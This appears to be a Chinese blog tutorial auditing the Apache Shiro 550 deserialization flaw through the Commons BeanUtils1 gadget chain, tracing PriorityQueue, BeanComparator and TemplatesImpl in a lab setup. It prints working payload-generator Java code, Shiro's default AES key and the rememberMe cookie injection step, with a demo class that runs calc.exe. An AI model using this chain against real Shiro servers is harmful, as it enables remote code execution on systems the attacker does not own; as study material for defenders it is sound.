Java代码审计Shiro反序列化CB1链source入口sink执行gadget链

目录

0x00 前言

0x01 CC链&CB链简介

1. Commons Collections链是什么?

2. Commons BeanUtils链是什么?

0x02 测试Commons BeanUtils1链

0x03 Shiro550 - Commons BeanUtils1链 - 跟踪分析(无依赖)

1. 前置知识 

2. Commons BeanUtils1链跟踪流程(重点)

3. 总结

0x04 Shiro550 - Commons BeanUtils1链 - Payload编写分析(提升)


0x00 前言

 希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 CC链&CB链简介

1. Commons Collections链是什么?

"CC链"指的是一种在Java反序列化漏洞攻击中使用的攻击链,主要利用了Apache Commons项目中的Commons Collections库。这个库包含了一些常用的Java集合类的实现,其中一些类在进行反序列化时会执行预定义的操作。攻击者可以构建恶意的反序列化数据,使其在执行反序列化操作时调用Commons Collections库中的特定类,从而最终导致执行恶意代码。常见的类包括TransformedMap等,攻击者通过构建一系列对象,将这些类链接在一起,形成一个CC链,达到执行恶意代码的目的。

2. Commons BeanUtils链是什么?

"CB链"指的是一种类似于CC链的攻击链,但使用的是Apache Commons项目中的Commons BeanUtils库。Commons BeanUtils库提供了用于操作Java对象的实用工具类,例如BeanMap和BeanComparator等。攻击者可以构建一个恶意的反序列化链,通过组合这些特殊的类和方法,形成一个CB链。当反序列化操作触发时,CB链会执行预定义的操作,最终导致执行攻击者的恶意代码。

0x02 测试Commons BeanUtils1链

Shiro项目环境:shiroweb && tomcat 9.0.80 && jdk 8u112

Shiro反序列化利用工具:shiroattack && jdk 8u112

 简单分析Commons BeanUtils链 payload生成逻辑:获取恶意类Evil=>getPayload生成并序列化=>AES加密=>Base64加密

public class Client1 {public static void main(String []args) throws Exception {// 1. 创建ClassPool对象,用于加载类ClassPool pool = ClassPool.getDefault();// 2. 获取恶意类Evil(该类执行计算器calc)CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());// 3. 调用CommonsBeanutils1Shiro#getPayload方法,并传入序列化后的恶意类,生成payloadbyte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());// 4. 创建AesCipherService对象AesCipherService aes = new AesCipherService();// 5. 将key值Base64解码byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");// 6. 使用AES加密payload,暗含Base64加密ByteSource ciphertext = aes.encrypt(payloads, key);// 7. 将加密后的结果输出到控制台System.out.printf(ciphertext.toString());}
}

其中恶意类Evil.class调用Runtime.getRuntime().exec执行计算器:

public class Evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public Evil() throws Exception {super();System.out.println("Hello TemplatesImpl");Runtime.getRuntime().exec("calc.exe");}
}

以下为CommonsBeanutils1Shiro.class代码,用于生成payload。此处暂不分析,后面跟完链会详细介绍。

public class CommonsBeanutils1Shiro {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public byte[] getPayload(byte[] clazzBytes) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);// stub data for replacement laterqueue.add("1");queue.add("1");setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});// ==================// 生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();return barr.toByteArray();}
}

使用Client1.java测试CommonsBeanutils1Shiro链,BurpSuite抓包修改,将生成的payload替换Cookie: rememberMe=后的值,成功弹出计算器。

随后使用Client.java、Client0.java测试CommonsCollectionsShiro、CommonsCollections6链,同样的操作却并未成功执行命令,这是为什么呢?

这其实是由于项目自身环境造成的,实验中shiroweb的CB库版本为1.8.3,CC库版本为3.2.1。

一般来说可利用CC链的版本为3.1,这就是为什么上述CB链测试能成功,CC链未成功的原因。

0x03 Shiro550 - Commons BeanUtils1链 - 跟踪分析(无依赖)

1. 前置知识 

上篇文章讲述的URLDNS链能够造成DNSLog但却不能执行命令,为何CC&CB链就可以呢?这就是调试分析需要解决的问题。

目前我们已经知道了Shiro使用的是Java原生反序列化,其漏洞成因是反序列化的类重写了readObject方法。

现在引入CB库里的PropertyUtils.getProperty()方法,该方法可以动态地通过反射调用对象的属性的get方法。

执行:PropertyUtils.getProperty(new User("ch4ser","man",23),"age");User类的getAge方法被调用执行:PropertyUtils.getProperty(new TemplatesImpl(),"outputProperties");TemplatesImpl类的getOutputProperties方法被调用

另外,一个完整的攻击链通常由以下三个部分组成:

1、Source(源):入口点,通常是指攻击链的起始点,其中用户输入或外部数据进入应用程序。
在反序列化漏洞中,readObject 方法通常被认为是源,因为它是从输入流读取数据并进行反序列化的方法。
2、Sink(执行点):执行点,是攻击链上的终点,其中攻击者希望执行恶意操作的位置。
在反序列化漏洞中,sink 可能是一个动态方法执行、JNDI注入或写文件等操作。
3、Gadget(链):连接入口执行的多个类,通过它们的相互方法调用形成攻击链。Gadget 类通常满足一些条件,例如类之间方法调用是链式的,类实例之间的关系是嵌套的,调用链上的类都需要是可以序列化的。在反序列化漏洞中,Gadget 类是攻击者构建的、可序列化的类,通过构建特定的对象图,使得在反序列化时执行恶意代码。
 

2. Commons BeanUtils1链跟踪流程(重点)

参考文章:关于我学渗透的那档子事之Java反序列化-CB链 - FreeBuf网络安全行业门户

首先需要找到入口点Source:PriorityQueue#readObject方法

选择PriorityQueue这个类的原因是它重写了readObject方法,并且Shiro反序列化这个类的时候会调用其重写的readObject方法,经过层层嵌套调用,最终造成命令执行。值得一提的是,这个类的路径为java/util/PriorityQueue.java,也就意味着是JDK自带,不需要任何的依赖

可能有的师傅还是会问,有别的类也重写了readObject方法,为什么不选择别的类呢?这个问题其实不用过于纠结,因为我们目前是在别的大佬已经贡献了挖掘思路的基础上做的代码审计,并不是在挖0day,所以跟着他的思路走就行了。

链:PriorityQueue#readObject

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();s.readInt();queue = new Object[size];for (int i = 0; i < size; i++)queue[i] = s.readObject();heapify();
}

PriorityQueue#readObject本身没有命令执行函数,但发现调用了heapify方法,按照我们的思路现在应该步入heapify方法,检查其有没有可能会造成命令执行。

步入heapify方法,发现循环里调用了siftDown方法,继续跟进。

链:PriorityQueue#readObject=>heapify=>siftDown

条件1:size值大于等于2

private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);
}

步入siftDown方法,选择条件comparator != null时所调用的siftDownUsingComparator方法,继续跟进。

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator

条件1:size值大于等于2 

条件2:comparator != null

private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);
}

步入siftDownUsingComparator方法,关注Comparator#compare方法

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

条件1:size值大于等于2 

条件2:comparator != null

private void siftDownUsingComparator(int k, E x) {int half = size >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = queue[child];int right = child + 1;if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)c = queue[child = right];if (comparator.compare(x, (E) c) <= 0)break;queue[k] = c;k = child;}queue[k] = x;
}

步入Comparator#compare,发现这其实是一个接口,并且BeanComparator类继承了Comparator类和Serializable类,实现了compare接口。

在BeanComparator#compare方法里看到了熟悉的东西:PropertyUtils.getProperty() 

由于我们需要代码逻辑走PropertyUtils.getProperty(),那么就需要让成员变量this.property != null,不然就会直接return。由于this.property是BeanComparator类的成员变量,检查发现其有内置的get、set方法,所以是可以实现控制的。

那么,当执行PropertyUtils.getProperty(o1, this.property)时,如果控制o1=new TemplatesImpl(),this.property="outputProperties",不就可以执行TemplatesImpl#getOutputProperties方法了吗?

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

=>BeanComparator#compare=>PropertyUtils.getProperty()

=>TemplatesImpl#getOutputProperties

条件1:size值大于等于2 

条件2:comparator != null

条件3:this.property != null

条件4:o1=new TemplatesImpl(),this.property="outputProperties"

 

public int compare(Object o1, Object o2) {if (this.property == null) {return this.comparator.compare(o1, o2);} else {try {Object value1 = PropertyUtils.getProperty(o1, this.property);Object value2 = PropertyUtils.getProperty(o2, this.property);return this.comparator.compare(value1, value2);} catch (IllegalAccessException var5) {throw new RuntimeException("IllegalAccessException: " + var5.toString());} catch (InvocationTargetException var6) {throw new RuntimeException("InvocationTargetException: " + var6.toString());} catch (NoSuchMethodException var7) {throw new RuntimeException("NoSuchMethodException: " + var7.toString());}}
}

 来到getOutputProperties方法,其调用newTransformer()方法,接着跟。

public synchronized Properties getOutputProperties() {try {return newTransformer().getOutputProperties();} catch (TransformerConfigurationException e) {return null;}
}

来到newTransformer方法,其调用执行getTransletInstance()方法,接着跟。

public synchronized Transformer newTransformer() throws TransformerConfigurationException {TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);if (_uriResolver != null) {transformer.setURIResolver(_uriResolver);}if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {transformer.setSecureProcessing(true);}return transformer;
}

来到getTransletInstance方法,当满足条件_name != null和_class == null时,调用执行defineTransletClasses()方法。

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

=>BeanComparator#compare=>PropertyUtils.getProperty()

=>TemplatesImpl#getOutputProperties

=>newTransformer()=>getTransletInstance()=>defineTransletClasses()

条件1:size值大于等于2 

条件2:comparator != null

条件3:this.property != null

条件4:o1=new TemplatesImpl(),this.property="outputProperties"

条件5:_name != null,_class == null

private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setServicesMechnism(_useServicesMechanism);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}catch (InstantiationException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (IllegalAccessException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}

来到defineTransletClasses()方法,当满足条件_bytecodes != null时(不然会抛出异常),会往下执行loader.defineClass()方法,此处为Sink。

注意:在代码中,loader.defineClass(_bytecodes[i])的目的是将_bytecodes[i]中的字节码转换为Class对象,并将该类加载执行,而Java里的.class文件是可以直接执行命令的,故此处便解答了之前的疑问。

在漏洞利用的角度,此处的_bytecodes就是序列化后的恶意类(类似shiroattack执行计算器的Evil类)。

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

=>BeanComparator#compare=>PropertyUtils.getProperty()

=>TemplatesImpl#getOutputProperties

=>newTransformer()=>getTransletInstance()=>defineTransletClasses()

=>loader.defineClass()

条件1:size值大于等于2 

条件2:comparator != null

条件3:this.property != null

条件4:o1=new TemplatesImpl(),this.property="outputProperties"

条件5:_name != null,_class == null

条件6:_bytecodes != null,_bytecodes=序列化后的恶意类

private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}@SuppressWarnings("removal")TransletClassLoader loader =AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {public TransletClassLoader run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;_class = new Class<?>[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}// create a module for the transletString mn = "jdk.translet";String pn = _tfactory.getPackageName();assert pn != null && pn.length() > 0;ModuleDescriptor descriptor =ModuleDescriptor.newModule(mn, Set.of(ModuleDescriptor.Modifier.SYNTHETIC)).requires("java.xml").exports(pn, Set.of("java.xml")).build();Module m = createModule(descriptor, loader);// the module needs access to runtime classesModule thisModule = TemplatesImpl.class.getModule();// the module also needs permission to access each package// that is exported to itPermissionCollection perms =new RuntimePermission("*").newPermissionCollection();Arrays.asList(Constants.PKGS_USED_BY_TRANSLET_CLASSES).forEach(p -> {thisModule.addExports(p, m);perms.add(new RuntimePermission("accessClassInPackage." + p));});CodeSource codeSource = new CodeSource(null, (CodeSigner[])null);ProtectionDomain pd = new ProtectionDomain(codeSource, perms,loader, null);// java.xml needs to instantiate the translet classthisModule.addReads(m);for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i], pd);final Class<?> superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString(), e);}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString(), e);}}
3. 总结

PriorityQueue类:Source入口点,readObject方法

BeanComparator类:调用PropertyUtils.getProperty(),控制o1和property,执行TemplatesImpl类的getOutputProperties方法,承上启下的作用

TemplatesImpt类:Sink执行点,调用恶意类,loader.defineClass()方法

0x04 Shiro550 - Commons BeanUtils1链 - Payload编写分析(提升)

跟踪完Commons BeanUtils链后,现在分析Commons BeanUtils链payload的生成逻辑。

首先看setFieldValue方法,使用Java反射获取对象的成员变量,设置Accessible以便访问私有成员变量,然后使用反射设置成员变量的值。

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {//获取对象的成员变量Field field = obj.getClass().getDeclaredField(fieldName);//设置Accessible以便访问私有成员变量field.setAccessible(true);//使用反射设置成员变量的值field.set(obj, value);
}

来到getPayload方法的第一部分,创建一个TemplatesImpl对象,并使用setFieldValue方法设置其相关成员变量的值。 

其中_bytecodes来源:_bytecodes <= clazzBytes <= clazz.toBytecode() <= Evil恶意类

//创建 TemplatesImpl 对象
TemplatesImpl obj = new TemplatesImpl();//使用 setFieldValue 方法设置相关成员变量的值,
//同时需要满足条件:_bytecodes != null、_name != null 等等
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

来到getPayload方法的第二部分,创建BeanComparator对象和PriorityQueue 对象,具体见注释:

//创建 BeanComparator 对象
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
//创建 PriorityQueue 对象
//传入 2 是为了满足条件:size值 ≥ 2
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);//随便向队列 queue 中添加数据,稍后会被替换为 TemplatesImpl 对象
queue.add("1");
queue.add("1");

来到getPayload方法的第三部分,设置BeanComparator的成员变量property为outputProperties,同时设置PriorityQueue的queue字段为包含两个TemplatesImpl对象的数组。

于是,最终得到的PriorityQueue(queue)包含了TemplatesImpl对象和BeanComparator对象,其中BeanComparator对象的property字段被设置为"outputProperties"。

注意:实际上这里就是在控制o1=new TemplatesImpl(),this.property="outputProperties",于是执行PropertyUtils.getProperty(o1, this.property)时,就会调用TemplatesImpl#getOutputProperties方法。

//将 BeanComparator 的 property 字段设置为字符串 "outputProperties"
setFieldValue(comparator, "property", "outputProperties");//将 PriorityQueue 的 queue 字段设置为一个包含两个相同的 TemplatesImpl 对象的数组
//这两个对象将替换之前队列 queue 中的数据
setFieldValue(queue, "queue", new Object[]{obj, obj});

来到getPayload方法的第四部分,将PriorityQueue对象序列化为字节数组并返回,完成了payload的生成。

// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();// 返回序列化后的字节数组
return barr.toByteArray();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/242881.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【每日一题】按分隔符拆分字符串

文章目录 Tag题目来源解题思路方法一&#xff1a;遍历方法二&#xff1a;getline 写在最后 Tag 【遍历】【getline】【字符串】【2024-01-20】 题目来源 2788. 按分隔符拆分字符串 解题思路 方法一&#xff1a;遍历 思路 分隔符在字符串开始和结束位置时不需要处理。 分隔…

设计模式设计原则——依赖倒置原则(DIP)

DIP&#xff1a;Dependence Inversion Principle 原始定义&#xff1a;High level modules should not depend upon low level modules. Both should depend upon abstractions. Abstractions should not depend upon details. Details should depend upon abstractions。 官…

【正点原子STM32】搭建开发环境(安装MDK和器件支持包、DAP仿真器和ST LINK仿真器、CH340串口驱动)

一、常用开发工具简介 MDKDAP 二、安装MDK 1、MDK简介2、如何获取MDK3、安装MDK和器件支持包 三、安装仿真器驱动 DAP仿真器免驱ST LINK仿真器驱动安装方法 ST LINK驱动及教程 四、安装CH340 USB虚拟串口驱动 1、安装CH340 USB虚拟串口驱动2、为什么要安装CH340 USB虚拟…

《WebKit 技术内幕》之八(2):硬件加速机制

2 Chromium的硬件加速机制 2.1 GraphicsLayer的支持 GraphicsLayer对象是对一个渲染后端存储中某一层的抽象&#xff0c;同众多其他WebKit所定义的抽象类一样&#xff0c;在WebKit移植中&#xff0c;它还需要具体的实现类来支持该类所要提供的功能。为了完成这一功能&#x…

蓝桥杯官网填空题(奇怪的分式)

题目描述 本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。 上小学的时候&#xff0c;小明经常自己发明新算法。一次&#xff0c;老师出的题目是&#xff1a;1/4乘以8/5 小明居然把分子拼接在一起&#xff0c;分母拼接在一起&…

无法找到mfc100.dll的解决方法分享,如何快速修复mfc100.dll文件

在日常使用电脑时&#xff0c;我们可能会碰到一些系统错误提示&#xff0c;比如“无法找到mfc100.dll”的信息。这种错误通常会阻碍代码的执行或某些应用程序的启动。为了帮助您解决这一问题&#xff0c;本文将深入探讨其成因&#xff0c;并提供几种不同的mfc100.dll解决方案。…

【分享】MathWorks中国汽车年会:“软件定义汽车”

从软件赋能到软件定义&#xff0c;汽车行业不仅需要解决诸如错误发现滞后带来的高昂代价、功能融合所需的跨学科知识、功能安全与实施成本之间的权衡等老问题&#xff0c;也面临着新的挑战&#xff1a;软件复杂度的不断提升、利用数据驱动创造价值、人工智能的引入和实现、数字…

【从0上手cornerstone3D】如何加载nifti格式的文件

在线演示 支持加载的文件格式 .nii .nii.gz 代码实现 npm install cornerstonejs/nifti-volume-loader// ------------- 核心代码 Start------------------- // 注册一个nifti格式的加载器 volumeLoader.registerVolumeLoader("nifti",cornerstoneNiftiImageVolu…

Spark SQL函数定义

目录 窗口函数 SQL函数分类 Spark原生自定义UDF函数 Pandas的UDF函数 Apache Arrow框架基本介绍 基于Arrow完成Pandas DataFrame和Spark DataFrame互转 基于Pandas完成UDF函数 自定义UDF函数 自定义UDAF函数 窗口函数 分析函数 over(partition by xxx order by xxx [as…

如何在ubuntu22.04安装ROS2

ubuntu22.04安装ROS2 教程 选择对应版本进行安装设置编码添加源安装ROS2设置环境变量 运行ROS2 选择对应版本 通过官方网站&#xff0c;查询Ubuntu与ros对应的版本&#xff0c;版本不一致也会出现安装不成功。 https://wiki.ros.org/ROS/Installation 每一个都可以进行点击&a…

140:leaflet加载here地图(v2软件多种形式)

第140个 点击查看专栏目录 本示例介绍如何在vue+leaflet中添加HERE地图(v2版本的软件),并且含多种的表现形式。包括地图类型,文字标记的设置、语言的选择、PPI的设定。 v3版本和v2版本有很大的区别,关键是引用方法上,请参考文章尾部的API链接。 直接复制下面的 vue+leaf…

基于SpringBoot Vue高校失物招领系统

大家好✌&#xff01;我是Dwzun。很高兴你能来阅读我&#xff0c;我会陆续更新Java后端、前端、数据库、项目案例等相关知识点总结&#xff0c;还为大家分享优质的实战项目&#xff0c;本人在Java项目开发领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目&#x…

FPGA:我的零基础学习路线(2022秋招已上岸)持续更新中~

可内推简历&#xff0c;丝我即可 前言 初次接触FPGA是在2022年3月左右&#xff0c;正处在研二下学期&#xff0c;面临着暑假找工作&#xff0c;周围的同学大多选择了互联网&#xff0c;出于对互联网的裁员形势下&#xff0c;我选择了FPGA&#xff0c;对于硬件基础知识我几乎是…

SpringMVC获取参数与页面跳转

获取参数 第一种 直接当成方法的参数&#xff0c;需要与前台的name一致 相当于Request.getAttribute("username") Controller 第二种 使用对象接收 页面的name也要和对象的字段一致 创建一个对应的实体类 Controller 将参数更换为User对象就行 SpringMVC获取到…

【GNN】人大魏哲巍“青源Talk”图机器学习

目录 简介 图学习历史与应用 历史-哥尼斯堡七桥问题 图历史发展介绍 图神经网络 应用&#xff08;&#xff01;&#xff01;&#xff09; 图学习近期工作 概况 图卷积神经网络&#xff08;ICML&#xff0c;NIPS&#xff0c;KDD&#xff09; 大规模图神经网络&#xf…

HarmonyOS开源软件Notice收集策略说明

开源软件Notice是与项目开源相关的文件&#xff0c;收集这些文件的目的是为了符合开源的规范。 收集目标 只收集打包到镜像里面的模块对应的License&#xff1b;不打包的都不收集&#xff0c;比如构建过程使用的工具&#xff08;如clang、python、ninja等&#xff09;都是不收…

vivado JTAG链、连接、IP关联规则

JTAG链 这列出了定义板上可用的不同JTAG链。每个链都列在下面<jtag_chain>以及链的名称&#xff0c;以及定义名称和链中组件的位置&#xff1a; <jtag_chains> <jtag_chain name"chain1"> <position name"0" component"part0…

当世界加速离你而去

当世界加速离你而去 会不会这个标题显的太悲观&#xff0c;也可能是耳机里正在放着To Be Frank的原因。 对于阳历跨年我是没有太多的感觉&#xff0c;而且跨年夜忙着约会&#xff0c;所以2023年的跨年文章今天才出来。 一年的时间一晃就过了。2022年12月9日时候彻底结束了风控…

腾讯云服务器价格查询,2024更新

腾讯云服务器租用优惠价格表&#xff1a;轻量应用服务器2核2G3M价格62元一年、2核2G4M价格118元一年&#xff0c;540元三年、2核4G5M带宽218元一年&#xff0c;2核4G5M带宽756元三年、轻量4核8G12M服务器646元15个月&#xff1b;云服务器CVM S5实例2核2G配置280.8元一年、2核4G…

51单片机电子密码锁Proteus仿真+程序+视频+报告

目录 视频 设计分析 系统结构 仿真图 资料内容 资料下载地址&#xff1a;51单片机电子密码锁Proteus仿真程序视频报告 视频 单片机电子密码锁Proteus仿真程序视频 设计分析 (1)能够从键盘中输入密码&#xff0c;并相应地在显示器上显示‘*’&#xff1b; (2)能够判断密码…